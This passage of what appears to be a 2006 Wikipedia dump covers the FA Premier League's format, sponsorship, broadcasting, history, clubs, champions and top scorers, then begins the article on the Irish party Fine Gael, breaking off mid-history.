There are 20 clubs in the Premier League. During the course of a season each club plays the others twice, once at their home stadium and once at that of their opponents for a total of 38 games for each club, and a total of 380 games in a Premier League season. At the end of each season the three lowest placed teams are [[relegation|relegated]] into the [[Football League Championship]] and the top two teams from the Championship, together with the winner of a play-off involving the 3rd to 6th placed clubs, are promoted in their place.

The top four teams in the Premiership qualify for the [[UEFA Champions League]], with the top two teams directly entering the group phase. The third and fourth placed teams enter the competition at the third qualifying round and must win a two-legged knockout tie in order to enter the group phase. The fifth placed team automatically qualifies for the [[UEFA Cup]], and the sixth and seventh placed teams can also qualify, depending on what happens in the two domestic cup competitions. If the [[FA Cup]] champions and runners-up both finish in the top 5 of the Premier League, the FA Cup's UEFA Cup spot goes to the sixth placed team in the League. If the League Cup is won by a team that has already qualified for Europe, the League Cup's UEFA Cup spot also goes to the next highest placed team in the League (unlike the FA Cup spot, it is never transferred to the losing finalist).

===Sponsorship===
Since [[1993]], the FA Premier League has been sponsored. The sponsor has been able to determine the league's sponsorship name. So far, all the sponsors have referred to the competition as the 'Premiership'. The list below details who the sponsors have been and what they called the competition:

* 1993&amp;ndash;2001: [[Carling O'Keefe|Carling]] (FA Carling Premiership)
* 2001&amp;ndash;08: [[Barclays Bank|Barclays]] (Barclays Premiership; from 2001-2004, it was known as the [[Barclaycard]] Premiership)

===Worldwide reach===
[[Image:Fa premier league norway.jpg|thumb|right|A Norwegian take on FA Premier League team names]]
Promoted as &quot;The Greatest Show On Earth&quot;, the FA Premier League is the world's most popular and most watched sporting league, followed worldwide by over a billion people{{ref|popular}}. Over 260 foreign players compete in the league, and 101 stars from England's domestic leagues competed in the {{Wc|2002}} in [[South Korea|Korea]] and [[Japan]]. It is widely watched overseas, with matches being shown in over 150 countries.

Premier League teams such as [[Manchester United F.C.|Manchester United]], [[Arsenal F.C.|Arsenal]], [[Liverpool F.C.|Liverpool]] and star players over the years such as [[Eric Cantona]], [[Ryan Giggs]], [[David Beckham]], [[Alan Shearer]], [[Gianfranco Zola]] and subsequently [[Thierry Henry]], [[Frank Lampard]], [[Stephen Gerrard]], [[Ruud van Nistelrooy]] and [[Wayne Rooney]] have become worldwide sporting icons. The Premier League is particularly popular in [[Scandinavia]], with ferry operators offering &quot;football ferries&quot; to [[Norway|Norwegian]] football fans wishing to see their favourite teams in action.

The Premier League is also very popular in [[Asia]]. In Asia, it is broadcasted by ESPN-Star, a collaboration of [[ESPN]] and [[Star Sports]]. The broadcast is done from Singapore.

===Number of foreigners===
At the inception of the Premier League in [[1992-93 in English football|1992-93]], just 11 players named in the starting line-ups for the first round of matches were foreign (players hailing from outside of the [[United Kingdom]]).[http://football.guardian.co.uk/print/0,3858,4487212-3057,00.html] By [[2000-01 in English football|2000-01]], the number of foreign players participating in the Premiership was 36%. In the [[2004-05 in English football|2004-5]] season the figure had increased to 45%. On [[26 December]] [[1999]], Chelsea became the first Premier League side to field an entirely foreign starting line-up, while on [[14 February]] 2005 [[Arsenal F.C.|Arsenal]] were the first to name a completely foreign 16-man squad for a match. Arsenal's 85% foreign player figure (rising from 64% in 2000&amp;ndash;01) is the highest of any club over the period. [[Chelsea F.C.|Chelsea]] have since been overtaken in terms of the number of foreign-born players by [[Liverpool F.C.|Liverpool]] (72%). No English manager has ever actually won the Premier League. Only four different managers have won the title as of 2005: two [[Scotland|Scots]], a [[France|Frenchman]] and a [[Portugal|Portugese]].

===Television broadcasting rights===
Television has played a major role in the history of the F.A. Premier League. The money from TV deals has been vital in helping to create excellence both on and off the field. The initial decision to go with [[Sky]] was, again, a radical decision, but one that has paid off. At the time pay television was a relatively untested proposition in the UK market, as was charging fans to watch live televised football. However a combination of Sky’s marketing strategy, the quality of the F.A. Premier League football and the public’s appetite for the game has seen the value of the F.A. Premier League’s broadcast rights soar and delivered huge benefits to the game. 

The first [[Sky]] television agreement was worth £191 million over five seasons. The next contract, negotiated to start from the 1997/98 season, rose to £670 million over four seasons. The Premier League’s current £1.024 billion deal with [[BSkyB]] runs over the course of three seasons from August 2004.

==History==
The FA Premier League was formed on [[20th February]] [[1992]] and played its first season in [[FA Premier League 1992-93|1992&amp;ndash;93]]. This meant a break-up of the 104-year-old Football League that had operated until then with four divisions. A number of events during the mid and late Eighties had sent clear signals that fundamental changes were needed to the structure of professional football. The English game was at possibly its lowest ebb ever. Stadiums were crumbling, supporters were faced with poor facilities, [[football hooliganism|hooliganism]] was rife and English clubs were banned from European competition following the events at [[Heysel stadium disaster|Heysel]] in [[1985]]. The old First Division became a selling league as many top players were lured by the financial attractions of the Continent. 

A radical restructuring was required if English football was to prosper. A proposal for the establishment of the league was tabled that would bring more money into the game overall. The Founder Members Agreement, signed on [[17th July]] [[1991]] by the game's top-flight clubs, established the basic principles for setting up the FA Premier League. The newly formed top division would have commercial independence from [[the Football Association]] and the Football League, giving the FA Premier League license to negotiate its own broadcast and sponsorship agreements.

In [[1992]] the First Division Clubs resigned from the football league en masse and on [[27th May]] [[1992]] the FA Premier League was formed as a [[private limited company by shares|limited company]], which worked out of an office at the then [[Football Association]]'s headquarters, [[Lancaster Gate]].

The league originally comprised 22 clubs, however, owing to FIFA insistance on domestic leagues reducing the number of games clubs played, the number was reduced to 20 in 1995, when 4 teams were relegated from the league and only 2 teams were promoted.  There have at times been discussions of reducing the number further to 18, however there are no known plans to do so.

==Premier League clubs, 2005&amp;ndash;06==
{| class=&quot;wikitable&quot; style=&quot;text-align:center;&quot;
|-
!Club&lt;br /&gt;
!Finishing position&lt;br /&gt;[[2004-05 in English football|last season]]
!First season in&lt;br //&gt;top division
!First season of&lt;br /&gt;current spell in&lt;br /&gt;top division
|-
|style=&quot;text-align:left;&quot;|[[Arsenal F.C.|Arsenal]]*&amp;#8224;||2nd||1904&amp;ndash;05||1919&amp;ndash;20
|-
|style=&quot;text-align:left;&quot;|[[Aston Villa F.C.|Aston Villa]]*&amp;#8224;||10th||1888&amp;ndash;89||1988&amp;ndash;89
|-
|style=&quot;text-align:left;&quot;|[[Birmingham City F.C.|Birmingham City]]||12th||1894&amp;ndash;95||[[FA Premier League 2002-03|2002&amp;ndash;03]]
|-
|style=&quot;text-align:left;&quot;|[[Blackburn Rovers F.C.|Blackburn Rovers]]&amp;#8224;||15th||1888&amp;ndash;89||[[FA Premier League 2001-02|2001&amp;ndash;02]]
|-
|style=&quot;text-align:left;&quot;|[[Bolton Wanderers F.C.|Bolton Wanderers]]||6th||1888&amp;ndash;89||[[FA Premier League 2001-02|2001&amp;ndash;02]]
|-
|style=&quot;text-align:left;&quot;|[[Charlton Athletic F.C.|Charlton Athletic]]||11th||1936&amp;ndash;37||[[FA Premier League 2000-01|2000&amp;ndash;01]]
|-
|style=&quot;text-align:left;&quot;|[[Chelsea F.C.|Chelsea]]*&amp;#8224;||1st||1907&amp;ndash;08||1989&amp;ndash;90
|-
|style=&quot;text-align:left;&quot;|[[Everton F.C.|Everton]]*&amp;#8224;||4th||1888&amp;ndash;89||1954&amp;ndash;55
|-
|style=&quot;text-align:left;&quot;|[[Fulham F.C.|Fulham]]||13th||1949-50||[[FA Premier League 2001-02|2001&amp;ndash;02]]
|-
|style=&quot;text-align:left;&quot;|[[Liverpool F.C.|Liverpool]]*&amp;#8224;||5th||1894&amp;ndash;95||1962&amp;ndash;63
|-
|style=&quot;text-align:left;&quot;|[[Manchester City F.C.|Manchester City]]&amp;#8224;||8th||1899&amp;ndash;1900||[[FA Premier League 2002-03|2002&amp;ndash;03]]
|-
|style=&quot;text-align:left;&quot;|[[Manchester United F.C.|Manchester United]]*&amp;#8224;||3rd||1892&amp;ndash;93||1975&amp;ndash;76
|-
|style=&quot;text-align:left;&quot;|[[Middlesbrough F.C.|Middlesbrough]]&amp;#8224;||7th||1902&amp;ndash;03||[[FA Premier League 1998-99|1998&amp;ndash;99]]
|-
|style=&quot;text-align:left;&quot;|[[Newcastle United F.C.|Newcastle United]]||14th||1898&amp;ndash;99||[[FA Premier League 1993-94|1993&amp;ndash;94]]
|-
|style=&quot;text-align:left;&quot;|[[Portsmouth F.C.|Portsmouth]]||16th||1927&amp;ndash;28||[[FA Premier League 2003-04|2003&amp;ndash;04]]
|-
|style=&quot;text-align:left;&quot;|[[Sunderland A.F.C.|Sunderland]]||1st in [[Football League Championship|The Championship]]||1890&amp;ndash;91||[[FA Premier League 2005-06|2005&amp;ndash;06]]
|-
|style=&quot;text-align:left;&quot;|[[Tottenham Hotspur F.C.|Tottenham Hotspur]]*&amp;#8224;||9th||1909&amp;ndash;10||1978&amp;ndash;79
|-
|style=&quot;text-align:left;&quot;|[[West Bromwich Albion F.C.|West Bromwich Albion]]||17th||1888&amp;ndash;89||[[FA Premier League 2004-05|2004&amp;ndash;05]]
|-
|style=&quot;text-align:left;&quot;|[[West Ham United F.C.|West Ham United]]||6th in [[Football League Championship|The Championship]], promoted via the play-offs||1923&amp;ndash;24||[[FA Premier League 2005-06|2005&amp;ndash;06]]
|-
|style=&quot;text-align:left;&quot;|[[Wigan Athletic F.C.|Wigan Athletic]]||2nd in [[Football League Championship|The Championship]]||2005&amp;ndash;06||[[FA Premier League 2005-06|2005&amp;ndash;06]]
|}
:&lt;nowiki&gt;*&lt;/nowiki&gt; Played in every Premier League season.
:&amp;#8224; Founding member of Premier League

==Former Premier League members==
{| class=&quot;wikitable&quot; style=&quot;text-align:center;&quot;
|-
!Club&lt;br /&gt;
!Years in most&lt;br /&gt;recent spell in top&lt;br /&gt;division
!First season in&lt;br /&gt;most recent spell in&lt;br /&gt;top division of&lt;br /&gt;English football
!Final season of&lt;br /&gt;most recent spell in&lt;br /&gt;top division of&lt;br /&gt;English football
|-
|style=&quot;text-align:left;&quot;|[[Barnsley F.C.|Barnsley]]||1||1997&amp;ndash;98||[[FA Premier League 1997-98|1997&amp;ndash;98]]
|-
|style=&quot;text-align:left;&quot;|[[Bradford City A.F.C.|Bradford City]]||2||1999&amp;ndash;2000||[[FA Premier League 2000-01|2000&amp;ndash;01]]
|-
|style=&quot;text-align:left;&quot;|[[Coventry City F.C.|Coventry City]]&amp;#8224;||34||1967&amp;ndash;68||[[FA Premier League 2000-01|2000&amp;ndash;01]]
|-
|style=&quot;text-align:left;&quot;|[[Crystal Palace F.C.|Crystal Palace]]&amp;#8224;||1||2004&amp;ndash;05||[[FA Premier League 2004-05|2004&amp;ndash;05]]
|-
|style=&quot;text-align:left;&quot;|[[Derby County F.C.|Derby County]]||6||1996&amp;ndash;97||[[FA Premier League 2001-02|2001&amp;ndash;02]]
|-
|style=&quot;text-align:left;&quot;|[[Ipswich Town F.C.|Ipswich Town]]&amp;#8224;||2||2000&amp;ndash;01||[[FA Premier League 2001-02|2001&amp;ndash;02]]
|-
|style=&quot;text-align:left;&quot;|[[Leeds United F.C.|Leeds United]]&amp;#8224;||14||1990&amp;ndash;91||[[FA Premier League 2003-04|2003&amp;ndash;04]]
|-
|style=&quot;text-align:left;&quot;|[[Leicester City F.C.|Leicester City]]||1||2003&amp;ndash;04||[[FA Premier League 2003-04|2003&amp;ndash;04]]
|-
|style=&quot;text-align:left;&quot;|[[Norwich City F.C.|Norwich City]]&amp;#8224;||1||2004&amp;ndash;05||[[FA Premier League 2004-05|2004&amp;ndash;05]]
|-
|style=&quot;text-align:left;&quot;|[[Nottingham Forest F.C.|Nottingham Forest]]&amp;#8224;||1||1998&amp;ndash;99||[[FA Premier League 1998-99|1998&amp;ndash;99]]
|-
|style=&quot;text-align:left;&quot;|[[Oldham Athletic A.F.C.|Oldham Athletic]]&amp;#8224;||3||1991&amp;ndash;92||[[FA Premier League 1993-94|1993&amp;ndash;94]]
|-
|style=&quot;text-align:left;&quot;|[[Queens Park Rangers F.C.|Queens Park Rangers]]&amp;#8224;||13||1983&amp;ndash;84||[[FA Premier League 1995-96|1995&amp;ndash;96]]
|-
|style=&quot;text-align:left;&quot;|[[Sheffield United F.C.|Sheffield United]]&amp;#8224;||4||1990&amp;ndash;91||[[FA Premier League 1993-94|1993&amp;ndash;94]]
|-
|style=&quot;text-align:left;&quot;|[[Sheffield Wednesday F.C.|Sheffield Wednesday]]&amp;#8224;||9||1991&amp;ndash;92||[[FA Premier League 1999-00|1999&amp;ndash;2000]]
|-
|style=&quot;text-align:left;&quot;|[[Southampton F.C.|Southampton]]&amp;#8224;||27||1978&amp;ndash;79||[[FA Premier League 2004-05|2004&amp;ndash;05]]
|-
|style=&quot;text-align:left;&quot;|[[Swindon Town F.C.|Swindon Town]]||1||1993&amp;ndash;94||[[FA Premier League 1993-94|1993&amp;ndash;94]]
|-
|style=&quot;text-align:left;&quot;|[[Watford F.C.|Watford]]||1||1999&amp;ndash;00||[[FA Premier League 1999-00|1999&amp;ndash;2000]]
|-
|style=&quot;text-align:left;&quot;|[[Wimbledon F.C.|Wimbledon]](a)&amp;#8224;||14||1986&amp;ndash;87||[[FA Premier League 1999-00|1999&amp;ndash;2000]]
|-
|style=&quot;text-align:left;&quot;|[[Wolverhampton Wanderers F.C.|Wolverhampton Wanderers]]||1||2003&amp;ndash;04||[[FA Premier League 2003-04|2003&amp;ndash;04]]
|}
:&amp;#8224; Founding member of Premier League. (a) ''Now [[Milton Keynes Dons]] F.C.''

'''Notes:'''
*Team movements for 2005&amp;ndash;06 season:
**[[Crystal Palace F.C.|Crystal Palace]], [[Norwich City F.C.|Norwich City]] and [[Southampton F.C.|Southampton]] were relegated to The Championship. On a [[FA Premier League 2004-05#The relegation dog fight|dramatic final day of the season]], last-place [[West Bromwich Albion F.C.|West Bromwich Albion]] defeated [[Portsmouth F.C.|Portsmouth]], but had to see other results go their way. Norwich City, who started the day outside the drop zone, were unfortunately beaten 6&amp;ndash;0 by [[Fulham F.C.|Fulham]]. Southampton lost 2&amp;ndash;1 to [[Manchester United F.C.|Man United]]. Palace were eight minutes from survival and leading [[Charlton Athletic F.C.|Charlton]] 2&amp;ndash;1, but Charlton equalised, consigning the Eagles to the drop.
**[[Sunderland A.F.C.|Sunderland]] won The Championship for 2004&amp;ndash;05, assuring themselves of a return to the Premier League for 2005&amp;ndash;06.
**The second automatic promotion spot was taken by [[Wigan Athletic F.C.|Wigan Athletic]], who are playing in the top flight for the first time in their history.
**The third and final promotion spot was taken by [[West Ham United F.C.|West Ham United]] when they defeated [[Preston North End F.C.|Preston North End]] 1&amp;ndash;0 in the playoff final on [[May 30th]], [[2005]], at [[Millennium Stadium]] in [[Cardiff]].

==FA Premier League Winners to date==
Winners and Runners Up of the [[English Premier League]] since its inception.

{| class=&quot;wikitable&quot; style=&quot;text-align:center;&quot;
|-
!Season
!Winner
!Total wins*
!Remarks
!Runner-up
|-
|[[FA Premier League 1992-93|1992&amp;ndash;93]]
|[[Manchester United F.C.|Manchester United]]
|1 (8)
|style=&quot;text-align:left;&quot;|First Premier League winners
|[[Aston Villa F.C.|Aston Villa]]
|-
|[[FA Premier League 1993-94|1993&amp;ndash;94]]
|[[Manchester United F.C.|Manchester United]]
|2 (9)
|style=&quot;text-align:left;&quot;|Also won the [[FA Cup]]
|[[Blackburn Rovers F.C.|Blackburn Rovers]]
|-
|[[FA Premier League 1994-95|1994&amp;ndash;95]]
|[[Blackburn Rovers F.C.|Blackburn Rovers]]
|1 (3)
|First league championship since 1914
|[[Manchester United F.C.|Manchester United]]
|-
|[[FA Premier League 1995-96|1995&amp;ndash;96]]
|[[Manchester United F.C.|Manchester United]]
|3 (10)
|style=&quot;text-align:left;&quot;|Also won the [[FA Cup]]
|[[Newcastle United F.C.|Newcastle United]]
|-
|[[FA Premier League 1996-97|1996&amp;ndash;97]]
|[[Manchester United F.C.|Manchester United]]
|4 (11)
|&amp;#12288;
|[[Newcastle United F.C.|Newcastle United]]
|-
|[[FA Premier League 1997-98|1997&amp;ndash;98]]
|[[Arsenal F.C.|Arsenal]]
|1 (11)
|style=&quot;text-align:left;&quot;|Also won the [[FA Cup]]
|[[Manchester United F.C.|Manchester United]]
|-
|[[FA Premier League 1998-99|1998&amp;ndash;99]]
|[[Manchester United F.C.|Manchester United]]
|5 (12)
|style=&quot;text-align:left;&quot;|Also won the [[FA Cup]], and the [[UEFA Champions League]]
|[[Arsenal F.C.|Arsenal]]
|-
|[[FA Premier League 1999-2000|1999&amp;ndash;2000]]
|[[Manchester United F.C.|Manchester United]]
|6 (13)
|&amp;#12288;
|[[Arsenal F.C.|Arsenal]]
|-
|[[FA Premier League 2000-01|2000&amp;ndash;01]]
|[[Manchester United F.C.|Manchester United]]
|7 (14)
|style=&quot;text-align:left;&quot;|First and only team to date to have won the [[English Premier League]] in 3 consecutive seasons 
|[[Arsenal F.C.|Arsenal]]
|-
|[[FA Premier League 2001-02|2001&amp;ndash;02]]
|[[Arsenal F.C.|Arsenal]]
|2 (12) 
|style=&quot;text-align:left;&quot;|Scored in all 38 [[English Premier League|league]] games, and also won the [[FA Cup]]
|[[Liverpool F.C.|Liverpool]]
|-
|[[FA Premier League 2002-03|2002&amp;ndash;03]]
|[[Manchester United F.C.|Manchester United]]
|8 (15)
|&amp;#12288;
|[[Arsenal F.C.|Arsenal]]
|-
|[[FA Premier League 2003-04|2003&amp;ndash;04]]
|[[Arsenal F.C.|Arsenal]]
|3 (13) 
|style=&quot;text-align:left;&quot;|Undefeated in League
|[[Chelsea F.C.|Chelsea]]
|-
|[[FA Premier League 2004-05|2004&amp;ndash;05]]
|[[Chelsea F.C.|Chelsea]]
|1 (2) 
|style=&quot;text-align:left;&quot;|Also won the [[League Cup]]
|[[Arsenal F.C.|Arsenal]]
|}

==Top scorers==
===By season===
{| class=&quot;wikitable&quot; style=&quot;text-align:center;&quot;
|-
!Season
!Top scorer, club
!Goals
|-
|1992&amp;ndash;93*
|style=&quot;text-align:left;&quot;|[[Teddy Sheringham]], Tottenham Hotspur
|22
|-
|1993&amp;ndash;94*
|style=&quot;text-align:left;&quot;|[[Andy Cole]], Newcastle United
|34
|-
|1994&amp;ndash;95*
|style=&quot;text-align:left;&quot;|[[Alan Shearer]], Blackburn Rovers
|34
|-
|1995&amp;ndash;96
|style=&quot;text-align:left;&quot;|[[Alan Shearer]], Blackburn Rovers
|31
|-
|1996&amp;ndash;97
|style=&quot;text-align:left;&quot;|[[Alan Shearer]], Newcastle United
|25
|-
|1997&amp;ndash;98
|style=&quot;text-align:left;&quot;|[[Chris Sutton]], Blackburn Rovers&lt;br/&gt;[[Dion Dublin]], Coventry City&lt;br/&gt;[[Michael Owen]], Liverpool
|18
|-
|1998&amp;ndash;99
|style=&quot;text-align:left;&quot;|[[Jimmy Floyd Hasselbaink]], Leeds United&lt;br/&gt;[[Michael Owen]], Liverpool&lt;br/&gt;[[Dwight Yorke]], Manchester United
|18
|-
|1999&amp;ndash;2000
|style=&quot;text-align:left;&quot;|[[Kevin Phillips (footballer)|Kevin Phillips]], Sunderland
|30
|-
|2000&amp;ndash;01
|style=&quot;text-align:left;&quot;|[[Jimmy Floyd Hasselbaink]], Chelsea
|23
|-
|2001&amp;ndash;02
|style=&quot;text-align:left;&quot;|[[Thierry Henry]], Arsenal
|24
|-
|2002&amp;ndash;03
|style=&quot;text-align:left;&quot;|[[Ruud van Nistelrooy]], Manchester United
|25
|-
|2003&amp;ndash;04
|style=&quot;text-align:left;&quot;|[[Thierry Henry]], Arsenal
|30
|-
|2004&amp;ndash;05
|style=&quot;text-align:left;&quot;|[[Thierry Henry]], Arsenal
|25
|}
:&lt;nowiki&gt;*&lt;/nowiki&gt; For the first 3 seasons of the Premier League (1992&amp;ndash;93, 1993&amp;ndash;94, 1994&amp;ndash;95)&lt;br/&gt;there were 22 clubs and therefore 42 games played by each club. For all&lt;br/&gt;seasons since there have been 20 clubs and therefore 38 games played.

===All-time===
As of [[March 1st]] [[2006]]   
    
{| class=&quot;wikitable&quot; style=&quot;text-align:center;&quot;
|-
!Rank!!Player!!Goals   
|-   
|1   
|style=&quot;text-align:left;&quot;|[[Alan Shearer]] *||255 
|-
|2
|style=&quot;text-align:left;&quot;|[[Andy Cole]] *||185
|-
|3
|style=&quot;text-align:left;&quot;|[[Robbie Fowler]] *||154
|-
|4
|style=&quot;text-align:left;&quot;|[[Thierry Henry]] *||152
|-
|5
|style=&quot;text-align:left;&quot;|[[Les Ferdinand]]||149
|-
|6
|style=&quot;text-align:left;&quot;|[[Teddy Sheringham]] *||143
|-
|7
|style=&quot;text-align:left;&quot;|[[Michael Owen]] *||125
|-
|8
|style=&quot;text-align:left;&quot;|[[Jimmy Floyd Hasselbaink]] *||123
|-
|9
|style=&quot;text-align:left;&quot;|[[Dwight Yorke]]||122
|-
|10
|style=&quot;text-align:left;&quot;|[[Ian Wright]]||113
|-
|colspan=3 style=&quot;background:#efefef&quot;|&lt;small&gt;* Playing in the Premier League in 2005-06.&lt;/small&gt;
|}

==See also==
* [[Football records in England#FA Premier League|Premier League Records]]
* [[Premiership-Football League gulf]]
* [[Premier League Curse of Christmas]]
* [[Sports league attendances]]
* [[List of Premier League stadiums]]
* [[English football champions]]

==References==
* {{note|revenue}} {{news reference
 | url = http://www.sportsnet.ca/soccer/article.jsp?content=20050810_120953_6300
 | title = Curse of a 'Beautiful Game'
 | org = [[Associated Press]]
 }}
* {{note|performance}} {{cite web
 | title = UEFA Country Ranking 2005
 | url = http://www.xs4all.nl/~kassiesa/bert/uefa/data/method3/crank2005.html
 | accessdate = August 24
 | accessyear = 2005
 }}
* {{note|popular}} {{news reference
 | author = Campbell, Dennis
 | url = http://observer.guardian.co.uk/osm/story/0,6903,626773,00.html
 | title = United (versus Liverpool) Nations
 | org = The Observer
 | date = [[January 6]] [[2002]]
 }}

==External links==
* [http://www.premierleague.com/ Official Site]
* [http://www.thefa.com/ The FA]
* [http://www.football-england.com/Premier_League_Football_Clubs.html Premier League at Football England]
* [http://www.premiersoccerstats.com Full stats from Day 1 of Premiership]
* [http://footballclubs.dyndns.org/?co=england&amp;league=1 FA Premier League clubs' locations]

{{FA Premier League}}
{{English football league system | promotion = ''none'' | level = 1 | relegation = [[Football League Championship]]}}

[[Category:FA Premier League]]
[[Category:Graphical timelines in sport]]
[[Category:National football (soccer) premier leagues]]
[[Category:English cultural icons|FA Premier League]]
[[Category:1992 establishments]]

{{Link FA|bg}}

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[[fr:Championnat d'Angleterre de football]]
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[[id:Liga Utama Inggris]]
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    </revision>
  </page>
  <page>
    <title>Fine Gael</title>
    <id>11252</id>
    <revision>
      <id>41364981</id>
      <timestamp>2006-02-26T21:53:44Z</timestamp>
      <contributor>
        <username>Stepheno</username>
        <id>146975</id>
      </contributor>
      <minor />
      <comment>/* Public Representatives */</comment>
      <text xml:space="preserve">{{Infobox_Irish_Political_Party |
  party_name     = Fine Gael|
  party_articletitle = Fine Gael|
  party_logo     = [[Image:Finegaellogo.png|200px]] |
  leader = [[Enda Kenny]] |
  foundation     = [[September 3]], [[1933]] |
  ideology =  [[Christian democracy]], [[Liberal conservatism]]|
  international = [[Christian Democrat and People's Parties International]] |
  european = [[European People's Party]] |
  europarl = [[European People's Party - European Democrats|EPP-ED]] |
  colours = [[Blue]]|
  headquarters   = 51 Upper Mount Street,&lt;br&gt; [[Dublin]] 2 |
  website = [http://www.finegael.ie http://www.finegael.ie]
}}
'''Fine Gael''' ([[International Phonetic Alphabet for English|IPA]]                                           {{IPA|[&amp;#x2cc;f&lt;sup&gt;j&lt;/sup&gt;&amp;#x26a;n&lt;sup&gt;j&lt;/sup&gt;&amp;#x259; &amp;#x2c8;ge&amp;#x2d0;&amp;#x26b;]}}, though often mispronounced {{IPA|[&amp;#x2cc;f&amp;#x26a;n&amp;#x259; &amp;#x2c8;ge&amp;#x26a;l]}} (approximate English translation: ''Family of the Irish'') is the second largest political party in [[Ireland]].  It currently forms the [[parliamentary opposition|official opposition]] in the [[Oireachtas]] (Irish Parliament), and claims a membership of over 34,000. 

Fine Gael was founded on [[3 September]] [[1933]] following the merger of [[Cumann na nGaedhael]], the [[Centre Party (Ireland)|Centre Party]] and the [[Army Comrades Association]], though it traces its origins back to the struggle for Irish independence and the pro-Treaty side in the [[Irish Civil War]], identified in particular with [[Michael Collins (Irish leader)|Michael Collins]].  Fine Gael today describes itself as a party of the progressive centre though, in many ways, the party complies with the model of the mainland European [[Christian democratic]] parties.  They are strongly pro-EU integration and opposed to radical [[Irish republicanism]], advocating a more pluralist, tolerant brand of [[Irish nationalism]].  Fine Gael is the only member-party of the [[European People's Party]] (EPP) in Ireland, or indeed, from anywhere outside Continental Europe.  In the [[European Parliament]], the EPP, with the [[European Democrats]] party{{fn|1}}, forms the [[European People's Party - European Democrats]] group in which Fine Gael's MEPs sit.

==Leaders==

*General [[Eoin O'Duffy]] (1933-34) [O'Duffy never had a seat in the Oireachtas during his leadership]
**''[[William T. Cosgrave]], TD'' (former [[President of the Executive Council of the Irish Free State|President of the Executive Council]] (prime minister) from 1922-1932) served as parliamentary leader between 1933 and 1934.
*William T. Cosgrave, TD (1934-44)
* General [[Richard Mulcahy]], TD (1944-59)
**''[[John A. Costello]], TD '' served as parliamentary leader between 1948 and 1959, and [[Taoiseach]] from 1948 to 1951, and 1954 to 1957.
* [[James Dillon]], TD (1959-65)
* [[Liam Cosgrave]], TD (1965-77), Taoiseach from 1973 to 1977
* [[Garret FitzGerald]], TD (1977-87), Taoiseach from 1981 to 1982, and 1982 to 1987. 
* [[Alan Dukes]], TD (1987-90)
* [[John Bruton]], TD (1990-2001), Taoiseach from 1994 to 1997.
* [[Michael Noonan]], TD (2001-2002)
* [[Enda Kenny]], TD (2002 - present)

''The leader also serves as the President of the party''

==Core policies==
Fine Gael, since the days of Cumann na nGheadheal, has been known as the party of law and order as a result of its tough stance on crime and the causes of crime and its origins in defending the [[Anglo-Irish Treaty]]. In Government the party has often utilised the forces of the State to combat lawlessness and [[Subversion (political)|subversion]]. Owing to its origins in the pro-treaty faction of Sinn Féin, Fine Gael is directly opposed to those who show disloyalty to the Irish State founded in 1922 and sees itself as the protector of the State's institutions. Fine Gael has, since its inception, been a party of fiscal rectitude, advocating pro-enterprise policies while integrity in public life is a core value of the party. Fine Gael is, perhaps, the most pro-European integrationist party in the Republic of Ireland. Today the party is closely associated with a campaign highlighting a rip-off culture in Ireland.

However the party has refused to move to either [[Social Democracy]] or the Centre-Right and, while currently trying to position itself as an alternative government along with the Labour party, it has not proposed a substantial ideological shift from the status quo.

However the party has made proposals in specific, although few, areas such as [[Irish neutrality|Neutrality]], Childcare and [[Same-sex marriage|Same-sex Union]]s.

==History==

In the face of intimidation of Cumann na nGaedheal meetings by the [[Irish Republican Army (1922-1969)|anti-treaty IRA]] and the rise in support for [[Éamon de Valera]]'s [[Fianna Fáil]] from 1926, a new strategy was required to strengthen the voice of the pro-Treaty tradition who now found themselves in opposition. As a result '''Fine Gael-The United Ireland Party''' was founded as an independent party in 1933, following the merger of the Cumann na nGaedheal, the Centre Party and the Army Comrades Association. In reality, it was really a larger version of Cumann na nGaedhael, the party created in 1923 by the [[Anglo-Irish Treaty|Pro-Treaty]] leaders of the Irish Free State under [[William T. Cosgrave]]. The new party sought to end the [[Anglo-Irish Trade War|Economic War]], improve relations with Britain while advocating a United Ireland within the framework of the Commonwealth. After a short hiatus under the disastrous leadership of General [[Eoin O'Duffy]], Cosgrave returned to lead the new party, continuing in the leadership until 1944. Although the people who formed the party had been in government for ten years in the [[Irish Free State]] (1922-32), once Fianna Fáil under [[Eamon de Valera]] came to power in 1932, Fine Gael spent the next sixteen years in the doldrums, overshadowed by the larger party. Indeed at times, it went into what was thought to be terminal decline on the opposition benches.

===The Inter Party Governments===
However to its ''own'' surprise, Fine Gael found itself in government in 1948, when all the anti-Fianna Fáil parties between them won enough seats in that year's general election to oust Fianna Fáil and take power. However, some of the other parties in the new [[first Inter-Party Government]] considered Fine Gael's new leader, General [[Richard Mulcahy]], to be too controversial a potential taoiseach. Notably, [[Clann na Poblachta]] (under former anti-Treaty IRA chief of staff, [[Sean MacBride]]), were opposed to him because of his role as Chief of Staff of the [[Irish Army]] in the execution of republicans during the [[Irish Civil War]]. He stepped aside and former Fine Gael Attorney-General [[John A. Costello]] was chosen to head the government, which lasted from 1948 to 1951. Costello was an effective chairman of a coalition comprising many different shades of opinion. That Government is remembered for establishing the Industrial Development Authority and declaring the Irish Free State to be the [[Republic of Ireland]] in 1949. Also a record number of houses were built while the health minister [[Noel Browne]] successfully tackled the tuberculosis disease. Costello also headed the Second Inter-Party Government, which had a  much stronger Fine Gael representation, from 1954 to 1957. Fine Gael's Foreign Minister [[Liam Cosgrave]] negotiated Ireland's entry to the United Nations in 1956 and, in doing so, defined Irish foreign policy for decades. The party's Health Minister [[Tom O'Higgins]] introduced the [[Voluntary Health Insurance Board]] (VHI) and thus established Ireland's partly insurance-based health service that persists today. However, [[Fianna Fáil]] and deValera were returned to power in 1957, banishing Fine Gael once more to the opposition benches.


===The Just Society and Tom O'Higgins===
Out of government, Fine Gael went into decline. In the mid 1960s, however, it launched a new policy statement, known as ''The Just Society'', advocating policies based on principles of social justice and equality. That document was the brainchild of Declan Costello, a Fine Gael TD and son of former Taoiseach John A Costello, and reflected an emerging faction in the party that was being influenced by Social Democracy. This new strand of thinking in Fine Gael paved the way for the entry to the party of liberal thinkers such as [[Garret FitzGerald]]. Party Leaders of the time remained conservative but the seeds of the 1980s revolution had been sown. In 1966, Fine Gael achieved a near miracle when its young presidential candidate, [[Tom O'Higgins]], came within 1% of defeating the apparently unbeatable sitting president, Eamon de Valera, in that year's presidential election. O'Higgins came from the emerging Social Democrat wing of the party.

===The National Coalition===
